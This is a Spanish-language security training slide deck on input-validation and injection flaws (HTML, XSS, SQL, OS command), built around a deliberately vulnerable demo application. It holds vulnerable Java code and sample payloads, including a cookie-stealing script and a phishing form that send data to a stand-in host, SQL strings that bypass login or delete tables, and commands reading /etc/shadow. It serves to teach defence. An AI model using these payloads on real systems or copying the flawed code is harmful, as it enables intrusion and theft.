vulnerabilidades de validaciÓn inyecciÓn de contenido ... · entender los aspectos técnicos por...
TRANSCRIPT
![Page 1: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/1.jpg)
![Page 2: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/2.jpg)
VULNERABILIDADES DE VALIDACIÓN DE ENTRADA:INYECCIÓN DE CONTENIDO SINTÁCTICO
![Page 3: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/3.jpg)
OBJETIVOS
● Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste
● Conocer en la practica algunas formas de ataque utilizadas por los intrusos para explotar una vulnerabilidad
![Page 4: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/4.jpg)
AGENDA
● Vulnerabilidades entrada● Fundamentos● Vulnerabilidad● Explotación
– Inyección de HTML (XSS)– Inyección de JavaScript (XSS)– Inyección de SQL– Inyección de comandos de sistema operativo
![Page 5: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/5.jpg)
VULNERABILIDADES DE VALIDACIÓN DE ENTRADA
● Suposiciones incorrectas– Tamaño de entrada
●Desbordamiento de buffer– Rango de la entrada
●Desbordamiento de enteros– Contenido sintáctico en la entrada
![Page 6: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/6.jpg)
CONTENIDO SINTACTICO EN LA ENTRADA
● Inyección de HTML (XSS)● Inyección de comandos SO● Inyección de SQL● Inyección de JavaScript (XSS)● Cadenas de formato● Inyección de filtros LDAP
![Page 7: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/7.jpg)
ALCANCE
● Aplicaciones web– Inyección de HTML– Inyección de JavaScript
● Todo tipo de aplicaciones– Inyección de SQL– Inyección de comandos SO– Inyección de filtros LDAP
● Aplicaciones escritas en C– Cadenas de formato
![Page 8: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/8.jpg)
FUNDAMENTOS● HTTP
– HTML– JavaScript– Cookies
● Protocolo de acceso a datos– API de acceso a datos (JDBC, ODBC)– SQL
● Shell– Shell script
![Page 9: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/9.jpg)
HTTP
● Protocolo TCP● Puerto 80
![Page 10: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/10.jpg)
HTTP REQUEST
En la barra de URL:http://localhost/ingresar?usuario=jalvarez
GET /ingresar?usuario=jalvarez HTTP/1.1
User-Agent: curl/7.13.2 (i386-pc-linux-gnu) libcurl/7.13.2
Host: localhost:10000
Pragma: no-cache
Accept: */*
![Page 11: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/11.jpg)
HTTP RESPONSE
HTTP/1.1 200 OK
Last-Modified: Sat, 26 Jun 2004 03:22:58 GMT
Content-Type: text/html
Content-Length: 1472
Date: Thu, 06 Oct 2005 03:55:27 GMT
Server: Apache-Coyote/1.1
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Welcome to JBoss™</title>
<meta http-equiv="Content-Type" content="text/html;
....
![Page 12: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/12.jpg)
HTML<html>
<head>
<title>Fluidsignal Group – FluidWarns</title>
</head>
<body>
<form name="HTMLInjection.Form" action="injection.do" method="post">
<table cellpadding="3" cellspacing="2" border="0">
<tr><td class="title" colspan="2">Introduzca su nombre de usuario</td></tr>
<tr>
<td class="name">Usuario</td>
<td> <input type="text" name="username" value="" size="30"/> </td>
</tr>
<tr>
<td class="button" colspan="2">
<input type="submit" name="do" value="Ver"/></td>
</tr>
</table>
</form>
</body>
</html>
![Page 13: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/13.jpg)
JAVASCRIPT
<html> <head> <script>alert('Esto es una alerta');</script> </head> <body> <h1>FluidWarns</h1> </body></html>
![Page 14: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/14.jpg)
COOKIES
¿Como “sabe” el webserver que el
usuario2 ya se autentico?
![Page 15: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/15.jpg)
COOKIES
![Page 16: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/16.jpg)
API DE ACCESO A DATOS
![Page 17: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/17.jpg)
SQL
SELECT * FROM tbl_user WHERE username ='jalvarez' AND password ='Ño&4F67';
● Lenguaje de consulta a BDrelacionales● DDL (Definición)● DML (Manipulación)
![Page 18: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/18.jpg)
DBMS
● Motor de base de datos● Interpreta lenguaje SQL● Productos
– SQL Server– Oracle– MySQL
![Page 19: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/19.jpg)
SHELL Y SHELL SCRIPT
$ cat /etc/passwd | grep root && psroot:x:0:0:root:/root:/bin/bash
PID TTY TIME CMD
11009 pts/9 00:00:00 bash
11047 pts/9 00:00:00 ps
● Usuario -> Shell -> SO● Tipos
– GUI de windows– command.com cmd.exe, bash, csh
![Page 20: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/20.jpg)
SINTESIS● HTML
– Interpretado: Browser
● JavaScript– Interpretado: Browser
● SQL– Interpretado: DBMS
● Shell script– Interpretado: Shell
● Filtros LDAP– Interpretado: Directorio
![Page 21: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/21.jpg)
SINTESIS DE ARQUITECTURA
![Page 22: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/22.jpg)
????
● Transformaciones de parametros en sentencias SQL
● Transformaciones de datos en HTML
![Page 23: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/23.jpg)
¿Quien define la estructura de un documento HTML?
¿Quien define la lógica de un programa JavaScript?
¿Quien define la estructura de una sentencia de SQL?
¿Quien define la estructura de una sentencia de LDAP?
¿Quien define la estructura de un script de shell?
a) Programadorb) Usuario
PREGUNTAS
![Page 24: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/24.jpg)
FluidWarns
![Page 25: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/25.jpg)
INYECCIÓN DE HTMLDefinición
● Lenguaje objetivo:– HTML
● Ataque– Phishing
● FluidWarns– http://empresa:8080/fluidwarns/– Ver “Inyección de HTML de Primer Orden”
![Page 26: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/26.jpg)
INYECCIÓN DE HTMLVulnerabilidad
● HTML entrada (vista)<form..><input type="text" name="username"/>...
● Aplicación (controlador)DynaActionForm dynaForm = (DynaActionForm) form;
String username = (String) dynaForm.get("username");
request.setAttribute("output", “Hola” + username);
● HTML salida (vista) <body>${output}</body>
![Page 27: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/27.jpg)
INYECCIÓN DE HTMLExplotación: Phishing
● Entrada normal:Pedro
● Entrada maliciosa en el formulario:Pedro <br/> Por favor ingrese su clave
<form action="http://hack:8080/">
<input type="password" name="clave" method="get"/>
</form>
● URL maliciosa enviado por correo:http://empresa:8080/fluidwarns/injection/html/injection.do?username=Señor usuario<br/> Por favor ingrese su clave<form action="http://hack:8080/"><input type="password" name="clave" method="get"/></form>
![Page 28: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/28.jpg)
¿CROSS SITE SCRIPTING o INYECCIÓN DE HTML?
El atacante utiliza un sistema web intermedio como
medio para comprometer la seguridad de un usuario
web
![Page 29: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/29.jpg)
INYECCIÓN COMANDOS DE SODefinición
● Lenguaje objetivo– Shell scripting
● Ataque– Ejecutar comandos de sistema operativo
● FluidWarns– http://empresa:8080/fluidwarns/– Ver “Inyección de comandos de sistema
operativo de primer orden”
![Page 30: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/30.jpg)
INYECCIÓN COMANDOS DE SOVulnerabilidad
● HTML entrada (vista)<form..><input type="text" name="username"/>...
● Aplicación (controlador)DynaActionForm dynaForm = (DynaActionForm) form;
String username = (String) dynaForm.get("username");
String[] command = {"bash", "-c", "id " + username };
Process child = Runtime.getRuntime().exec(command);
● HTML salida (vista) <body>${output}</body>
![Page 31: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/31.jpg)
INYECCIÓN COMANDOS DE SOExplotación
● Entrada normal:jalvarez
jboss
root
● Entrada maliciosa en el formulario:jalvarez ; ls
jalvarez ; ls -al /tmp
jalvarez ; cat /etc/passwd
jalvarez ; cat /etc/shadow
jalvarez ; echo 1 > /proc/sys/net/ipv4/ip_forward
![Page 32: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/32.jpg)
INYECCIÓN DE SQLDefinición
● Lenguaje objetivo:– Structured Query Language
● Ataque:– Sobrepasar controles de acceso– Inyectar información– Eliminar información– Detener el servicio
● FluidWarns– http://empresa:8080/fluidwarns/– Ver “Inyección de sentencias SQL”
![Page 33: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/33.jpg)
INYECCIÓN DE SQLVulnerabilidad
● Aplicación (controlador)DynaActionForm dynaForm = (DynaActionForm) form;
String username = (String) dynaForm.get("username");
String password = (String) dynaForm.get("password");
Connection connection = getConnection();
String query = "SELECT * FROM tbl_user WHERE username ='" + username + "' AND password='" + password + "';";
PreparedStatement statement=connection.prepareStatement(query);
ResultSet result = statement.executeQuery();
boolean isValidUser = false;
if (result.next())
isValidUser = true;
else
isValidUser = false;
![Page 34: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/34.jpg)
INYECCIÓN DE SQLExplotación: Controles de acceso
● Entrada normal:Usuario: jalvarez / Clave: jalvarez
● SQL normal:SELECT * FROM tbl_user WHERE username ='jalvarez' AND
password='jalvarez';
● Entrada maliciosa en el formulario:Usuario: cualquiera / Clave: pepe' or ''='
● SQL maliciosamente formado:SELECT * FROM tbl_user WHERE username ='cualquiera' AND
password='pepe' or ''='';
![Page 35: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/35.jpg)
INYECCIÓN DE SQLExplotación: Inyección de información
● Entrada maliciosa en el formulario:Usuario: cualquiera / Clave: pepe' or ''='';INSERT INTO
tbl_user (username, password) VALUES ('juan','juan');--
● SQL maliciosamente formado:SELECT * FROM tbl_user WHERE username ='cualquiera' AND
password='pepe' or ''='';INSERT INTO tbl_user (username, password) VALUES ('juan','juan');--';
Excepción JDBC
![Page 36: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/36.jpg)
INYECCIÓN DE SQLExplotación: Eliminar información
● Entrada maliciosa en el formulario:Usuario: cualquiera / Clave: pepe' or ''='';DELETE FROM
tbl_user;--
● SQL maliciosamente formado:SELECT * FROM tbl_user WHERE username ='cualquiera' AND
password='pepe' or ''='';DELETE FROM tbl_user;--';
Excepción JDBC
![Page 37: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/37.jpg)
INYECCIÓN DE SQLExplotación: Detener el servicio y peores
● DBMS– Microsoft SQL Server
● Procedimientos almacenados– xp_cmdshell 'dir'
![Page 38: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/38.jpg)
ORDENES DE INYECCIÓN
● Tiempo transcurrido entre el ingreso de la información maliciosa y la ocurrencia del incidente
● Primer orden– Ingreso de información maliciosa e
inmediatamente ocurre el incidente
● Segundo orden– Ingreso de información maliciosa y en función
de otros eventos ocurre el incidente
![Page 39: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/39.jpg)
INYECCIÓN JAVASCRIPT (XSS)Definición
● Lenguaje objetivo:– JavaScript
● Ataque– Robar cookies de un usuario
● FluidWarns– http://empresa:8080/fluidwarns/– Ver “Inyección de JavaScript de Segundo
Orden”
![Page 40: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/40.jpg)
INYECCIÓN JAVASCRIPT (XSS) Vulnerabilidad
● Aplicación (controlador)PreparedStatement statement =
connection.prepareStatement("select * from tbl_todo;");
ResultSet result = statement.executeQuery();
Collection todo = new ArrayList();
while (result.next()) {
String task = result.getString("task");
todo.add(task);
}
return todo;
● HTML de salida (vista)<c:forEach var="task" items="${todo}">
<tr><td>${task}</td></tr>
</c:forEach>
![Page 41: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/41.jpg)
INYECCIÓN JAVASCRIPT (XSS)Explotación: Cookie hijacking
● Entrada normal:Tarea: Construir propuesta
Tarea: Evaluar la seguridad del sistema
● Salida normal:Construir propuesta
Evaluar la seguridad del sistema
● Entrada maliciosa en el formulario:Tarea: <script>document.location='http://hack:8080/?' +document.cookie</script>
● Resultado final:Cookie en las manos del actor malintencionado
![Page 42: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/42.jpg)
CONCLUSIONES
● No hacer suposiciones sobre las propiedades de la entrada. Especialmente: tamaño, rango y contenido sintáctico
● Evitar ejecutar los servicios con usuarios privilegiados
● Realizar pruebas de seguridad sobre los aplicativos web relacionados
● No solo los aplicativos web son susceptibles a vulnerabilidades de inyección de contenido sintáctico
![Page 43: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/43.jpg)
CONCLUSIONES
● No solo el usuario puede proporcionar entradas maliciosas, las bitácoras, las bases de datos y otros servicios también pueden hacerlo
● Si un programa tiene vulnerabilidades de inyección de contenido sintactico, tanto el programador como el usuario pueden definir HTML, JavaScript, SQL u otros
![Page 44: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/44.jpg)
PREGUNTAS Y EVASIVAS
![Page 45: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/45.jpg)
PROXIMAS TERTULIAS
● Desbordamiento de enteros● Cadenas de formato● Controles para desbordamiento de buffer● Controles para inyección de contenido
sintáctico● Seguridad en el lenguaje Java
![Page 46: VULNERABILIDADES DE VALIDACIÓN INYECCIÓN DE CONTENIDO ... · Entender los aspectos técnicos por los cuales un intruso puede ingresar a un sistema y tomar el control de éste Conocer](https://reader034.vdocuments.pub/reader034/viewer/2022042207/5ea9bd84314c9748ae40987b/html5/thumbnails/46.jpg)
Nombre: Juan Rafael Álvarez CorreaEmail: [email protected]: http://people.fluidsignal.com/~jalvarezTelefono celular: 3006551750Telefono oficina: 574-3522627 ext 201